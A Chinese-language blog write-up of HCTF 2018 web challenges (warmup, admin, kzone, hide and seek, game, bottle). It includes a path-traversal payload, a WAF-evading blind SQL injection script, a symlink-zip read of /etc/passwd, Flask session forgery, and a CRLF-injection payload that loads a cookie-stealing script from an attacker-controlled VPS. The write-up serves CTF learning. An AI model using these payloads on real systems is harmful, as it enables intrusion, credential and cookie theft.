Zer0e's Blog

HCTF2018 web部分Writeup

字数统计: 3k阅读时长: 14 min
2018/11/12 Share

前言

上周末忙着准备期中考试,HCTF也只是匆匆看了几题,有个思路之后就没再做了,这两天趁着服务器还没关闭来重新复现一下,相比去年的HCTF,今年题目自己也能有点思路了,不过相比出题人,自己还是差了不少,废话不多说,看各个题目。

warmup

一道文件包含题。访问查看注释发现有源代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>


可以知道emmm中的checkFile有变量将$_GET[‘file’]以”?”为分隔符分为几部分,只要在”?”前的变量在白名单中就可以返回true。
结合提示”flag not here, and flag in ffffllllaaaagggg”,构造file=hint.php?../../../../../ffffllllaaaagggg拿到flag。

admin

这道题正解应该是通过Unicode字符来注册一个在执行strlower函数后用户名为admin的账户从而获得flag。
我们先是在change下看到了注释,去GitHub上拿到源码(听说有队伍直接在GitHub上搜索就搜索到了)。

在tamplates/index.html 下可以看到只要session[‘name’] == ‘admin’ 就可以看到flag。我的第一直觉是伪造session来获得admin的登录态,这是出题人的非预期吧,稍后讲。
在app/routes.py的第41,63和84行的注册,登录和更改密码处发现了strlower函数。
随后在第106行发现strlower的定义。
在注册的时候将用户名strlower带入数据库查询,登录的时候也使用strlower查询,而登录之后更改密码又再一次使用了strlower,也就是说登录之后的用户名会进行两次strlower。这就导致了某些形如字母的Unicode字符在经过strlower变成字母,第二次strlower之后变为小写字母。
举个例子,”\u1d2c”经过Unicode解码之后变为”ᴬ”,我们注册一个名为ᴬdmin的用户,在登录的时候session[‘name’]变为”Admin”,在修改密码的时候又变为”admin”,这使得我们可以越权修改admin的密码,修改完后登录上去就可以看到flag。(这个漏洞目前在新版本的Twisted中已被修复)

再来谈谈session伪造。由于出题人的疏忽,不小心在源码中泄露了SECRET_KEY。
这就导致可以通过本地构造session来构造admin的登录态。这和hideandseek有异曲同工之妙,将在后面仔细讲解。

kzone

一道由Li4n0从钓鱼网站源码中修改代码而成的题目。
随便扫扫目录,发现www.zip,就自己在本地搭了个环境,查看login.php发现使用了addslashes函数,但需要绕过safe.php中的waf

1
2
3
4
5
6
7
function waf($string)
{
$blacklist = '/union|ascii|mid|left|greatest|least|substr|sleep|or|benchmark|like|regexp|if|=|-|<|>|\#|\s/i';
return preg_replace_callback($blacklist, function ($match) {
return '@' . $match[0] . '@';
}, $string);
}

waf把能所有东西都过滤了,并且在login.php中还判断了数据库中的用户名和输入的用户名是否相等,导致post注入被堵死。
再次审计一下代码发现admin目录下的除login.php外都是由一个islogin变量来判断是否登录,全局搜索一下发现islogin变量在/include/member.php中。我们看到了熟悉的json_decode还有双等号!在本次环境测试了一下发现在输入Unicode编码的时候,json_decode会自动还原成字符,这样我们既绕过了waf,又达到注入的目的,这个我们稍后再说。
先来讲讲下面的弱类型,我们可以通过发送cookie的login_data模拟admin登录态,并且我们知道服务器有admin用户但不知道admin密码,由于这个弱类型,我们可以通过number == $admin_pass的前几位来模拟登陆,使用burp最后跑出来的数字是65,也就是只要构造
login_data={"admin_user":"admin","admin_pass":65}
就可以登陆后台系统。但直接跑数字的话存在一个问题。既当sha1($udata[‘password’] . LOGIN_KEY)中出现形如65e123a….之类的字符串时,那admin_pass就必须为65e123(e为科学计数法)。这点在我本地构造环境时让我频频出错,好在出题人并没有为难我们,毕竟这个脚本也不好跑。
登录后台后发现flag不在后台中,想想应该是在数据库中。现在讲讲注入。刚才讲过,json_decode会还原Unicode编码,并且waf里刚好没有过滤掉’/‘,在本地创个测试环境。

1
2
3
4
5
6
7
<?php
if(isset($_COOKIE['login_data']))
{
$login_data = json_decode($_COOKIE['login_data'], true);
var_dump($login_data);
}
?>
![](https://zer0blog.oss-cn-hangzhou.aliyuncs.com/blog_image/hctf2018wp/kzone04.png)

我们发现json_decode确实将Unicode编码还原成字符,接下来就好办了,在代码中如果没有查询到的话就会有四次setcookie,如果查询到就只有两次setcookie,或者根据弱类型跑出来的密码来判断是否登录,因此可以采用布尔盲注;当然也可以使用时间盲注,这里我采用布尔盲注。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
# -*- coding: utf-8 -*-
import requests as r

url = "http://kzone.2018.hctf.io/admin/list.php"
chars = [chr(i) for i in range(32,127)]
table = []
database = ''
flag = ''

def enc(s):
s = s.replace(' ', "/**/").replace("substr","\\u0073ubstr").replace("=",
"\\u003d").replace("ascii", "\\u0061scii").replace("or","\\u006fr")
return s

def get_database():
global database
for i in range(5):
for char in chars:
payload = "\"admin_user\":\"admin%27 and ascii(substr((select database()),{},1))=%27{}\",\"admin_pass\":65"
payload = "{" + payload.format(str(i),ord(char)) + "}"
payload = enc(payload)
headers = {
'Cookie': "islogin=1;login_data="+str(payload)
}
html = r.get(url,headers=headers)
if("window.location" not in html.text):
database += char
break
print("database: " + database)

def get_table():
global table
for i in range(4):
table_name = ''
for j in range(12):
for char in chars:
payload = "\"admin_user\":\"admin%27 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {0},1),{1},1))=%27{2}\",\"admin_pass\":65"
payload = "{" + payload.format(str(i),str(j),ord(char)) + "}"
payload = enc(payload)
headers = {
'Cookie': "islogin=1;login_data="+str(payload)
}
html = r.get(url, headers=headers)
if("window.location" not in html.text):
table_name += char
break
table.append(table_name)
print(table)


def get_flag():
global flag
for i in range(50):
for char in chars:
payload = "\"admin_user\":\"admin%27 and ascii(substr((select * from F1444g),{0},1))=%27{1}\",\"admin_pass\":65"
payload = "{" + payload.format(str(i),ord(char)) + "}"
payload = enc(payload)
headers = {
'Cookie': "islogin=1;login_data="+str(payload)
}
html = r.get(url, headers=headers)
if("window.location" not in html.text):
flag += char
break
print(flag)



if __name__ == "__main__":
get_database()
get_table()
get_flag()

没有使用多线程跑起来真的慢,下次整理一篇多线程的文章。

hide and seek


需要上传zip文件,上传随意文件发现没有啥卵用,想到前几个月某场比赛的一道题,随即试试上传软连接文件。
在linux下执行
ln -s /etc/passwd linkzip -y 1.zip link上传后得到passwd文件,拿到一个任意文件读取。
出题人第二天给了提示docker,读取下/proc/self/environ的环境变量。

1
UWSGI_ORIGINAL_PROC_NAME=/usr/local/bin/uwsgiSUPERVISOR_GROUP_NAME=uwsgiHOSTNAME=30b76592807cSHLVL=0PYTHON_PIP_VERSION=18.1HOME=/rootGPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421DUWSGI_INI=/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.iniNGINX_MAX_UPLOAD=0UWSGI_PROCESSES=16STATIC_URL=/staticUWSGI_CHEAPER=2NGINX_VERSION=1.13.12-1~stretchPATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binNJS_VERSION=1.13.12.0.2.0-1~stretchLANG=C.UTF-8SUPERVISOR_ENABLED=1PYTHON_VERSION=3.6.6NGINX_WORKER_PROCESSES=autoSUPERVISOR_SERVER_URL=unix:///var/run/supervisor.sockSUPERVISOR_PROCESS_NAME=uwsgiLISTEN_PORT=80STATIC_INDEX=0PWD=/app/hard_t0_guess_n9f5a95b5ku9fgSTATIC_PATH=/app/staticPYTHONPATH=/appUWSGI_RELOADS=0

找到了web服务器,读取/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini

1
[uwsgi] module = hard_t0_guess_n9f5a95b5ku9fg.hard_t0_guess_also_df45v48ytj9_main callable=app

这里/app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py是运行中的文件,拿来看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
# -*- coding: utf-8 -*-
from flask import Flask, session, render_template, redirect, url_for, escape, request, Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])


def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route('/', methods=['GET'])
def index():
error = request.args.get('error', '')
if(error == '1'):
session.pop('username', None)
return render_template('index.html', forbidden=1)

if 'username' in session:
return render_template('index.html', user=session['username'], flag=flag.flag)
else:
return render_template('index.html')


@app.route('/login', methods=['POST'])
def login():
username = request.form['username']
password = request.form['password']
if request.method == 'POST' and username != '' and password != '':
if(username == 'admin'):
return redirect(url_for('index', error=1))
session['username'] = username
return redirect(url_for('index'))


@app.route('/logout', methods=['GET'])
def logout():
session.pop('username', None)
return redirect(url_for('index'))


@app.route('/upload', methods=['POST'])
def upload_file():
if 'the_file' not in request.files:
return redirect(url_for('index'))
file = request.files['the_file']
if file.filename == '':
return redirect(url_for('index'))
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
if(os.path.exists(file_save_path)):
return 'This file already exists'
file.save(file_save_path)
else:
return 'This file is not a zipfile'

try:
extract_path = file_save_path + '_'
os.system('unzip -n ' + file_save_path + ' -d ' + extract_path)
read_obj = os.popen('cat ' + extract_path + '/*')
file = read_obj.read()
read_obj.close()
os.system('rm -rf ' + extract_path)
except Exception as e:
file = None

os.remove(file_save_path)
if(file != None):
if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
return redirect(url_for('index', error=1))
return Response(file)


if __name__ == '__main__':
#app.run(debug=True)
app.run(host='127.0.0.1', debug=True, port=10008)

读取/app/hard_t0_guess_n9f5a95b5ku9fg/flag.py发现不是admin无法读取。
转换思路,读取/app/hard_t0_guess_n9f5a95b5ku9fg/templates/index.html看看,发现主页变为
在代码第40行得知admin无法登陆,所以又是伪造session来获得admin的登录态。从main.py可以知道secret是随机数,而随机数的种子是uuid.getnode(),也就是mac地址,可以从/sys/class/net/eth0/address来获取,得到12:34:3e:14:7c:62,在python3的环境下伪造session,将session放回网站拿到flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from flask import Flask, session
import random
random.seed(20015589129314)
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
@app.route('/')
def hello_world():
session.permanent = True
session['username'] = 'admin'
return 'Hello World!'

@app.route('/get/')
def get():
return session.get('username')

访问/get/查看session放回原网站拿到flag

game

一道很新颖的题目。可以随意注册,注册完之后在user.php可以进行排序,order可以等于id,username,sex,score,没有发现注入点。经过提示,尝试order=password发现可以排序,我们可以因此通过不断比较密码得到admin的密码。并且注册两个号后比较发现是降序排列。
例如注册一个密码为d的用户,在密码排序下发现在admin下面,注册一个密码为e的用户,在admin的上面,可以推断出admin的第一位密码是d,按照这样使用脚本爆破出admin的密码,登录访问flag.php即可得到flag。

bottle

这是一个16年的cve漏洞。参考https://www.leavesongs.com/PENETRATION/bottle-crlf-cve-2016-9964.html。
提交url的时候会进行302跳转。尝试头注入。

CSP头在响应的下方,直接导致CSP无效。但在302的时候无法xss,需要找到一个端口来绕过302跳转,当0或者22号端口的时候可以打到cookie,拿到cookie后到网站上使用cookie拿到flag。
最终payload:http://bottle.2018.hctf.io/path?path=http://bottle.2018.hctf.io:22/%0d%0aContent-Length:%2065%0d%0a%0d%0a%3Cscript%20src=http://youvps/cookie.js%3E%3C/script%3E

后记

其实还有两道web题我没有写出wp,一道ruby一道web加密码学,即使看了学长的wp依旧没能深刻理解,学习无止境吧,明年继续加油。

参考

Unicode 安全:http://blog.lnyas.xyz/?p=1411
CVE-2016-9964:https://www.leavesongs.com/PENETRATION/bottle-crlf-cve-2016-9964.html

CATALOG
  1. 1. 前言
  2. 2. warmup
  3. 3. admin
  4. 4. kzone
  5. 5. hide and seek
  6. 6. game
  7. 7. bottle
  8. 8. 后记
  9. 9. 参考